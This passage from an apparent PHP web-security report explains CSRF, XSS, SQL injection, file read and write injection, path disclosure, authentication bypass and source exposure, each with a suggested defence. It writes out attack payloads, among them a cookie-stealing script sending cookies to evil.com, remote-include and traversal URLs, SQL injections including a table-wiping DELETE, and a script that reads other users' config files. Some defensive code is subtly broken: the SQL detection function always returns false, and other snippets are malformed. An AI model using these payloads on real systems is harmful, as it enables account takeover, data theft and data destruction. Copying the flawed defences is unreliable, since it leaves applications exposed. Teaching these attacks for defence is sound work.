<input type="hidden" name="username" value="user001" />
<p>Please enter your alternative e-mail address:</p>
<input type="text" name="altemail" /><br />
<input type="submit" value="Submit" />
</form>
The receiving page (resetpassword.php) has all the information it needs to send the
password to the new e-mail. The hidden variable username contains the value user001, which
is the username of the e-mail account [23]. Due to the fact that this web form is using the
GET data method, when the user submits [email protected] as the e-mail
address where the user wants the password to be sent to, the user then arrives at the following
URL [23]:
39
http://semanticurlattackexample.com/resetpassword.php?username=user001&alt
email=alternative%40emailexample.com
This URL appears in the location bar of the browser, so the user can identify the
username and the e-mail address through the URL parameters. The user may decide to steal
other people's (user002) e-mail address by visiting the following URL as an experiment [23]:
http://semanticurlattackexample.com/resetpassword.php?username=user002&alt
email=alternative%40emailexample.com
If the resetpassword.php accepts these values, it is vulnerable to a semantic URL
attack. The new password of the user002 e-mail address will be generated and sent to
[email protected] which causes user002's e-mail account to be stolen [23].
In order to prevent this problem sessions should be used to keep track of things, this can be
avoided easily:
<?php
session_start();
$clean = array();
/* Check for valid e-mail address */
$Is_email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL,
FILTER_NULL_ON_FAILURE);
if ($Is_email)
{
$clean['email'] = $_POST['email'];
$user = $_SESSION['user'];
$new_password = md5(uniqid(rand(), TRUE));
if ($_SESSION['verified'])
{
/* e-mail updated Password */
mail($clean['email'], 'Your New Password', $new_password);
}
}
?>
This example demonstrates session variables that keep up with whether the current
user has already answered the verification question correctly ($_SESSION['verified']) and
the name of the account for which the verification question was answered
($_SESSION['user']). It is this lack of trust given to input that is the key to preventing
semantic url attacks in your applications [25].
40
CHAPTER 14
CROSS-SITE REQUEST FORGERY
Cross-site request forgery (CSRF) is an attack which forces an end user to execute
unwanted actions on a web application in which he/she is currently authenticated [26]. With
a little help of social engineering (like sending a link via email/chat), an attacker may force
the users of a web application to execute actions of the attacker's choosing. A successful
CSRF exploit can compromise end user data and operation in case of normal user [27]. If the
targeted end user is the administrator account, this can compromise the entire web
application.
Consider a sample application that allows users to transfer money online. The
interface includes the following form:
<form action="send.php" method="POST">
<p>
Name: <input type="text" name="account" /><br />
<br />
Amount: <input type="text" name="amount" /><br />
<input type="submit" value="Send" />
</p>
</form>
The send.php script processes this information:
<?php
session_start();
$clean = array();
if (isset($_REQUEST['account'] && isset($_REQUEST['amount']))
{
/* Filter Input ($_REQUEST['account'], $_REQUEST['amount']) */
if (send_item($clean['account'], $clean['amount']))
{
echo '<p>Money Transferred.</p>';
}
else
{
41
echo '<p>There was a problem while transferring.</p>';
}
}
?>
An attacker can use your application as intended to do some basic profiling. For
example, an attacker can visit this form to discover that the form elements are ‘account’ and
‘amount’. After noting this, the attacker can then try to see whether GET request can be used
to perform the same action by visiting the following URL:
http://bank.example.org/send.php?account=sam&amount=100000
If this is also successful, then the attacker knows the format of a URL that causes
money transfer when visited by an authenticated user. This situation makes a CSRF attack
very easy because the attacker only needs to cause a victim to visit this URL. After the
attacker’s malicious request is generated, Attacker must trick the user into submitting the
request. The most basic method is to send an HTML email containing the following:
<a href=" http://bank.example.org/send.php?account=sam&amount=100000">View
my Pictures!</a>
Assuming user is authenticated with the bank application when he/she clicks the link,
the transfer of $100,000 to sam’s account will occur. However, there is a possibility that if
user clicks the link, then user will notice that a transfer has occurred. Therefore, attacker
decides to hide the attack in a zero-byte image:
<img src=" http://bank.example.org/send.php?account=sam&amount=100000"
width="1" height="1" border="0">
If this image tag were included in the email, user would only see a little box
indicating that the browser could not render the image [28]. However, the browser will still
submit the request to bank.example.org without any visual indication that the transfer has
taken place [28].
In order to protect against CSRF attacks, developer should take the following:
Use POST instead of GET requests for triggering actions.
Access the submitted data only via the $_POST array to ensure that their origin is a POST request. Using the POST method is useless when the data is accessed via variables generated by Register Globals or via $_REQUEST [29].
Use hidden fields random tokens to make sure that the request originates from within the application.
42
In order to clarify use of tokens consider following replacement for the above HTML
form [30]:
<?php
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="send.php" method="post">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Name: <input type="text" name="account" /><br />
Amount: <input type="text" name="amount" /><br />
<input type="submit" value="Send" />
</p>
</form>
With this simple modification, a CSRF attack must include a valid token in order to
perfectly mimic the form submission. Since user token is stored within the session, it is also
necessary that the attacker uses the token unique to the victim. This effectively limits the
attack [25].
43
CHAPTER 15
FILE READ VULNERABILITY
PHP in-built function file_get_contents is used to reads entire file into a string. For
example following php code will open a file with fopen() and then echo the contents of the
file like:
<?php
$file_handle = fopen("source.txt", "w+");
while(!feof($file_handle))
{
echo file_get_contents ($file_handle);
}
fclose($file_handle);
?>
But file_get_contents suffers from both remote file risk & directory traversal attack.
For example, you can retrieve the content (HTML) of a particular page by reading from a
URL:
<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>
This can create severe vulnerabilities when tainted data is used because it allows an
attacker to execute arbitrary code. For example, consider reading a file as follows:
<?php
$contents = file_get_contents($_GET['filename']);
echo $contents;
?>
Now the following GET requests will lead to remote file risk & directory traversal
attack:
http://localhost:8888/read.php?filename=http://evilsite.com/Evilscript.txt
http://localhost:8888/read.php?filename=../../../../../../../../../boot.in
i
44
One solution is to maintain a list of array (clean) where all filtered data is present &
to always filter input and be sure to use only filtered data when referencing a filename as
shown below:
Another solution is to use ‘filter_rfi’ function mentioned in Remote file inclusion
chapter & ‘detect_directory_traversal’ function mentioned in Local file inclusion chapter.
45
CHAPTER 16
FILE WRITE VULNERABILITY
PHP in-built function fwrite() writes the contents of string to the file stream pointed
to by handle. For example following php code will open a file with fopen() and perform
write operation into the file like:
<?php
$filehdl = fopen("config.cfg", "w+");
$server = “server: “ . “localhost\n”;
$port = “port: “ . “8080”;
fwrite($filehdl , $server);
fwrite($filehdl, $port);
fclose($filehdl);
?>
Now consider php script(write_info.php), which writes to a file called settings.php
[15]:
<?php
$filename = 'settings.php';
$user = $_GET['username'];
$pass = $_GET['password'];
$email = $_GET['email'];
if (!$handle = fopen($filename, 'w'))
{
print "Cannot open file ($filename)";
exit;
}
fwrite($handle, "<?php
\$username = '$user';
\$password = '$pass';
\$email = '$email';
?>")
?>
46
Since the input is tainted, attacker can easily write PHP Code into the file which can
be called via a Web Server GET Request and executed.
Now suppose the attacker makes following GET request:
http://localhost:8888/write_info.php?username=';%20echo%20'This%20file%20i
s%20vulnerable%20to%20fwrite()%20injection&password=axHgpTy&email=example@
yahoo.com
Above GET request is decoded as:
http://localhost:8888/write_info.php?username='; echo 'This file is
vulnerable to fwrite() injection&password=axHgpTy&[email protected]
In the example above attacker is injecting text into user input that is used by fwrite.
The file settings.php happens to be a PHP script (<?php ?>) as well so attacker can easily
insert PHP code. When the developer calls settings.php then attacker’s injected code will be
executed as shown in Figure 16.1.
Figure 16.1. File write attack.
47
Further the attack can be worse if the attacker tries to inject system commands. In
order to prevent fwrite attacks, proper filtering of user input should be carried out as
discussed in previous chapters.
48
CHAPTER 17
FULL PATH DISCLOSURE
Full Path disclosure (FPD) is a vulnerability that enables a user to gain knowledge of
full operating url path of a script (i.e. internal path structure of an installation).FPD
vulnerability is executed by injecting unexpected characters into certain parameters of a web-
page [31].
If users (and attackers) can see the raw error messages returned from PHP, your
database, or external programs, they can make educated guesses about how your system is
organized and what software you use. These educated guesses make it easier for attackers to
break into your system [32].
Consider a simple php script (path.php) show below:
<?php
$message=htmlentities($_GET['page']);
echo $message;
?>
Now suppose the attacker enters following GET request:
http://localhost:8888/ test.php?page[]=Cool
The output of above GET request is show in Figure 17.1.
Another popular and very reliable method of producing errors containing a FPD is to give the
page a null session using javascript injections [33]. A simple injection using this method
would look something like this:
javascript:void(document.cookie="PHPSESSID=");
Once the injection has been executed, a page refresh is required. If the injection is
successful, it will result in an error message similar to the following:
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /var/www/foobar.php on line 3 As the session_start() function is not expecting the illegal characters, it results in a
warning resulting in a full path disclosure.
49
Figure 17.1. Full path disclosure.
As the session_start() function is not expecting the illegal characters, it results in a
warning resulting in a full path disclosure.
Full Path disclosure injection can be prevented by disabling the display of error
messages. This can be done in PHP's php.ini file, Apache's httpd.conf file, or via the PHP
script itself [31]:
php.ini:
display_errors = 'off'
httpd.conf/apache2.conf:
php_flag display_errors off
PHP script:
ini_set ('display_errors', false);
50
CHAPTER 18
CROSS SITE SCRIPTING
Cross-Site Scripting attacks are a type of injection problem, in which malicious
scripts are injected into the otherwise benign and trusted web sites [34]. Cross-site scripting
(XSS) attacks occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user [34]. Flaws that allow
these attacks to succeed are quite widespread and occur anywhere a web application uses
input from a user & output it generates without validating or encoding it [34].
An attacker can use XSS to send a malicious script to an unsuspecting user [34]. The
end user’s browser has no way to know that the script should not be trusted, and will execute
the script [34]. Because it thinks the script came from a trusted source, the malicious script
can access any cookies, session tokens, or other sensitive information retained by your
browser and used with that site [34]. These scripts can even rewrite the content of the HTML
page [34].
In a typical XSS attack the hacker infects a legitimate web page with his malicious
client-side script [35]. When a user visits this web page the script is downloaded to his
browser and executed [35]. There are many slight variations to this theme, however all XSS
attacks follow this pattern, which is depicted in Figure 18.1 [35].
Now consider an example of a simple message board:
<form action="message.php" method="POST">>
<input type="text" name="message"><br />
<input type="submit">
</form>
Once submit button is pressed, php script (message.php)is called which is as follows :
<?php
if (isset($_POST['message']))
{
51
Figure 18.1. High level view of XSS attack. Source: Acunetix. XSS.htm, 2012. http://www.acunetix.com/websitesecurity/xss.htm, accessed Feb. 2012.
echo $_POST['message'];
}
?>
Now if the attacker sends following message:
<SCRIPT> alert(“XSS”); </SCRIPT>
And if the php script is executed then a popup window will appear as shown in Figure
18.2.
Similarly if the attacker enters following message:
<script>
document.location="http://evil.com/steal_cookies.php?cookie=" +
document.cookie
</script>
The next user who visits the message board with javascript enabled is redirected to
evil.com & any cookies associated with the current site are included in the query string &
sent to steal_cookies.php. XSS attacks may be conducted without using <script></script>
tags. Other tags will do exactly the same thing, for example:
52
Figure18.2. XSS attack.
<body onload=alert('XSS')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://evil.com/steal_cookies.php"
onerror=alert(document.cookie);>
Cross-site scripting vulnerability exists if the user input is not properly filtered and
escaped. Because the risk exists only when you output tainted, un-escaped data, you can
simply make sure that you filter input and escape output. Since it depends upon a developer
to determine what kind of filtering should be done on incoming data, a good solution is to
create XSS intrusion detection function which will scan for XSS injections & returns true if
detected & false otherwise.
PHP code XSS_intrusion_detection [36, 37]:
function XSS_intrusion_detection($string = '')
{
$detect = false;
/* scan for XSS-attack pattern
http://niiconsulting.com/innovation/snortsignatures.html
53
*/
if (preg_match("/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i", $string)
||
preg_match("/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))
[^\n]+((\%3E)|>)/i", $string) ||
preg_match("/((\%3C)|<)[^\n]+((\%3E)|>)/i", $string))
{
$detect = true;
}
return $detect;
}
54
CHAPTER 19
SQL INJECTION
A SQL injection attack consists of inserting a SQL statement via the input data from
the client to be run on your database without your knowledge. Injection usually occurs when
you ask a user for input, like their name, and instead of a name they give you a MySQL
statement that you will unknowingly run on your database [38]. A successful SQL injection
exploit can read sensitive data from the database, modify database data
(Insert/Update/Delete), execute administration operations on the database (such as shutdown
the DBMS), recover the content of a given file present on the DBMS file system and in some
cases issue commands to the operating system [39].
Consider the simple authentication form shown in Figure 19.1.
Figure 19.1. HTML login form.
55
HTML Code for above form is as follows:
<form action="login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="text" name="password" /></p> <p><input type="submit" value="Log In" /></p> </form> Now consider the php login script(login.php) which takes input parameters from the
html form & checks for authentication as show above:
<?php
$host="localhost"; // Host name
$username="akram"; // Mysql username
$password="mirza"; // Mysql password
$db_name="site"; // Database name
$tbl_name="customers"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
// username and password sent from form
$user=$_POST['Username'];
$pass=$_POST['Password'];
$sql="SELECT * FROM $tbl_name WHERE username='$user' and
password='$pass'";
$result=mysql_query($sql);
$count=mysql_num_rows($result);
if($count==0)
{
header("location:login.html");
}
else
{
$row = mysql_fetch_array($result) or die(mysql_error());
echo "Welcome, " . $row['username'] . "\n";
//Allow access to user & do something...
}
?>
Imagine sending the following username & password (Figure 19.2) :
‘OR’ 1=1
56
Figure 19.2. HTML login form with malicious input.
Inserting above statements into the form will result in the query being extended with
an OR statement, resulting in a final query of:
SELECT * FROM customers WHERE username = '' OR 1 = 1 AND password = '' OR 1 = 1; Because of the OR statement in the SQL query, the check for username & password
is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive
login as show in below browser output (Figure 19.3).
Similarly, imagine sending the following username:
‘OR 1=1 #
In this example, # is used to begin a single-line comment, effectively terminating the
query from that point. This has been tested successfully with MySQL. Inserting the above
into the form will result in a final query of the form:
SELECT * FROM customers WHERE username = '' OR 1 = 1;
This query results in a successful authentication attempt, regardless of the password.
This particular attack is frequently used to steal accounts. Thus, by sending a malformed
username, you can manage to log in without having a valid account.
57
Figure 19.3. Default output login.php.
Although the above example displayed a situation where an attacker could possibly
get access to a lot of information they shouldn't have, the attacks can be a lot worse. For
example an attacker could empty out a table by executing a DELETE statement. Consider a
php code snippet shown below:
$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
// the new evil injection query would include a DELETE statement
echo "Injection: " . $query_evil;
Now the query will become:
SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE
1 or username = ' '
If above query is executed, then injected DELETE statement would completely empty
"customers" table. Another basic and common encoding trick is the use of URL encoding.
URL encoding would change an injection string that would normally look like the following:
58
NULL OR 1 = 1/*
To a URL encoded string that would be masked as:
NULL+OR+1%3D1%2F%2A
In order to prevent SQL injection from occurring is to detect whether input string
contains SQL injection & if it does then discarding the input or throwing an warning to the
user to input valid data. Consider a PHP MYSQL_intrusion_detection function which will
scan for SQL injections & returns true if detected.
PHP code MYSQL_intrusion_detection:
function MYSQL_intrusion_detection($string = '')
{
$detect = false;
/* scan for SQL-attack pattern
http://www.symantec.com/connect/articles/detection-sql-
injection-and-cross-site-scripting-attacks
*/
if (preg_match("/(\%27)|(\')|(\')|(%2D%2D)|(\/\*)/i", $string) ||
preg_match("/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i",
$string) ||
preg_match("/\w*(\%27)|'(\s|\+)*((\%6F)|o|(\%4F))((\%72)|r|(\%52))/i",
$string) ||
preg_match("/((\%27)|')(\s|\+)*union/i", $string))
{
$matches = true;
}
return $detect;
}
59
CHAPTER 20
AUTHENTICATION BYPASS
Authentication bypass vulnerability mainly results from poor authentication
programming used by a developer. Consider a simple PHP authentication
script(example.php):
<?php
if ($logged==true) {
echo 'Logged in.'; }
else
{
print 'Not logged in.';
}
?>
To exploit above code an attacker doesn’t have to put in much effort, he just need to
send following GET request:
http://localhost:8888//example.php?logged=1
As soon as following request is made, attacker is logged in into the application.
Now consider a real world example(login.php):
if ($login_ok)
{
$_SESSION['logged_in'] = true;
echo "<p>$user logged in</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a
href='install.php'>$txt_install
</a></div>";
}
Above php code checks if login_ok variable is true, if it is, then user is logged in,
given a session & some links to navigate. Now suppose the attacker enters following request:
http://localhost:8888/login.php?login_okay=1
60
And the attacker is logged in.There are few rare cases where I have found it, but still
there are few. Above type of coding practice should be strictly avoid, also use of database &
cryptography should taken into consideration in order to strengthen login security.
61
CHAPTER 21
SOURCE CODE EXPOSURE
Shared host consist of multiple websites hosted on the same server. Which means a
web server which reads yours source code in order to execute it, also executes source code of
different web site sharing the same server. This is a significant risk because anyone who can
wrote code that your web server executes can also read your source code [25].
Consider a simple php read script (read.php):
<?php
header('Content-Type: text/plain');
readfile($_GET['file_name']);
?>
Suppose this script is placed on a shared host, it is easy for an attacker to view any
file that the web server can read by indicating the full path and filename as the value of file
[25]. For example the shared host is opatija.sdsu.edu, a file such as
/home/username/source.php can be exposed simply by visiting:
http://opatija.sdsu.edu/~mirza/file.php?file=/home/mike/source.php
In order for above script to be useful the attacker must know the location of source
code, but more sophisticated scripts can be written to allow an attacker to conveniently
browse the file system [12]. Similarly, someone might read other users config.php files using
below php script:
<?php
header( 'Content-Type: text/plain' );
$shared_users = array( 'kevin', 'mirza', 'dev' );
foreach( $shared_users AS $username )
{
print "$username's config:\n";
print file_get_contents( "/home/$username/config.php" );
}
?>
In order to prevent this from happening, a developer should consider all of source
code to be public and even code that is store outside of document root. Best solution is to
62
store all sensitive data in a database. This provides a layer of complexity to some scripts [25].
One can create a file (db.php) to store database access credentials & store it outside of
document root like:
<?php
$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = 'localhost';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>
Further if the path to this file is known (or guessed), another user on your server can
potentially access it, obtain your database access credentials, and gain access to your
database, including all of the sensitive data that you are storing there [25].
The best solution to this particular problem is to restrict read & write privileges to
owner only, and this offers good amount of protection:
$ chmod 600 db.php
$ ls db.php
-rw------- 1 mirza mirza 18 Dec 21 12:34 db.php
This effectively prevents a malicious script from accessing your database access
credentials, so you can store sensitive data in the database without a significant risk of it
being compromised.
63
REFERENCES
[1] PHP Freaks. PHP-Security, 2008. http://www.phpfreaks.com/tutorial/php-security, accessed Jan. 2012
[2] Wikipedia. Remote_File_Inclusion, 2012. http://en.wikipedia.org/wiki/Remote_file_inclusion, accessed Jan. 2012.
[3] R. Auger. Remote File Inclusion, 2010. http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion, accessed Jan. 2012.
[4] S. Whitney. PHP Security, 2011. http://25yearsofprogramming.com/blog/2011/20110124.htm, accessed Jan. 2012.
[5] Aldeid. Local_File_Inclusion, 2011. http://www.aldeid.com/wiki/Web_applications_attacks/Local_file_inclusion, accessed Jan. 2012.
[6] Hakipedia. Local_File_Inclusion, 2011. http://hakipedia.com/index.php/Local_File_Inclusion, accessed Jan. 2012.
[7] Wikipedia. Directory_Traversal_Attack, 2012. http://en.wikipedia.org/wiki/Directory_traversal_attack, accessed Jan. 2012.
[8] W3schools. Func_Filesystem_Copy.asp, 2012. http://w3schools.com/php/func_filesystem_copy.asp, Jan. 2012.
[9] R. Auger. Null Byte Injection, 2010. http://projects.webappsec.org/w/page/13246949/ Null%20Byte%20Injection, accessed Jan. 2012.
[10] J. C. K. Keane. Bypassing PHP PathInfo, 2009. http://www.madirish.net/node/232, accessed Jan. 2012.
[11] W3schools. Func_Misc_Eval.asp, 2012. http://www.w3schools.com/php/func_misc_eval.asp, Jan. 2012.
[12] C. Snyder and M. Southwell. Pro PHP security. Apress, Berkeley, CA, 2005.
[13] R. Miller. PHP Security Guide, 2009. http://php.robm.me.uk/, accessed Jan. 2012
[14] Acunetix. Upload-Forms-Threat.htm, 2012. http://www.acunetix.com/websitesecurity/upload-forms-threat.htm, Jan. 2012.
[15] A. Mangarae. Assault on PHP Applications, 2009. http://www.shell-storm.org/papers/files/400.pdf, accessed Jan. 2012.
[16] A. Bezroutchko. Php-File-Upload.pdf, 2007. http://www.scanit.be/uploads/php-file-upload.pdf, accessed Jan. 2012.
[17] J. K. Keane. Web Hacking, 2008. http://www.madirish.net/node/204, accessed Jan. 2012.
64
[18] Owasp. Comment_Injection_Attack, 2011. https://www.owasp.org/index.php/Comment_Injection_Attack, accessed Jan. 2012.
[19] Golemtechnologies. Shell-Injection, 2012. https://www.golemtechnologies.com/articles/shell-injection, accessed Jan. 2012.
[20] Owasp. OS_Command_Injection, 2009. https://www.owasp.org/index.php/OS_Command_Injection, accessed Jan. 2012.
[21] Formlogix. Contact-Us-Form.aspx, 2012. http://www.formlogix.com/Help/Glossary/Contact-Us-Form.aspx, accessed Jan. 2012.
[22] C. Heng. Protect-Script-from-Email-Injection.shtml, 2009. http://www.thesitewizard. com/php/protect-script-from-email-injection.shtml, accessed Jan. 2012.
[23] Wikipedia. Semantic_URL_Attack, 2012. http://en.wikipedia.org/wiki/Semantic_URL_attack, accessed Jan. 2012.
[24] C. Ranjana. Semantic-Url-Attacks.html, 2012. http://developers.chrisranjana.com/ beginners-php-php-novices/semantic-url-attacks.html, accessed Jan. 2012.
[25] C. Snyder. Essential PHP security. O’Reilly, Sebastopol, CA, 2005.
[26] Cross Site Request Forgery. Index.html, 2009. http://crosssiterequestforgery.com/index.html, accessed Feb. 2012.
[27] Owasp. Cross-Site Request Forgery (CSRF), 2010. http://owasp.com/index.php/Cross-Site_Request_Forgery_%28CSRF%29, accessed Jan. 2012.
[28] Owasp. Cross-Site Request Forgery (CSRF), 2010. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29, accessed Jan. 2012.
[29] EUROSEC GmbH Chiffriertechnik & Sicherheit. PHP-Secure-Programming.pdf, 2005. http://www.heromotocorp.com/hero_admin/data_content/pdf/annual _report/PHP-Secure-Programming.pdf, accessed Jan. 2012.
[30] C. Shiflett. Cross-Site-Request-Forgeries, 2004. http://shiflett.org/articles/cross-site-request-forgeries, accessed Feb. 2012.
[31] Hakipedia. Full_Path_Disclosure, 2011. http://hakipedia.com/index.php/ Full_Path_Disclosure, accessed Feb. 2012.
[32] D. Sklar. Owasp-Top-Ten, 2012. http://www.sklar.com/page/article/owasp-top-ten, Feb. 2012.
[33] Owasp. Full_Path_Disclosure, 2011. https://www.owasp.org/index.php/Full_Path_Disclosure, accessed Jan. 2012.
[34] Owasp. Cross-Site_Scripting_(XSS), 2011. https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29, accessed Feb. 2012.
[35] Acunetix. XSS.htm, 2012. http://www.acunetix.com/websitesecurity/xss.htm, accessed Feb. 2012.
65
[36] Network Intelligence Company. Automate Risk Management, 2012. http://niiconsulting.com/innovation/snortsignatures.html accessed Feb. 2012.
[37] Symantec. Detection of SQL Injection and Cross-site Scripting Attacks , 2012. http://www.symantec.com/connect/articles/detection-sql-injection-and-cross-site-scripting-attacks, accessed Feb. 2012.
[38] Tizag. MySQL-SQL Injection Prevention, 2012. http://www.tizag.com/mysql Tutorial/mysql-php-sql-injection.php, accessed Feb. 2012.
[39] Owasp. SQL_Injection, 2011. https://www.owasp.org/index.php/SQL_injection, accessed Feb. 2012.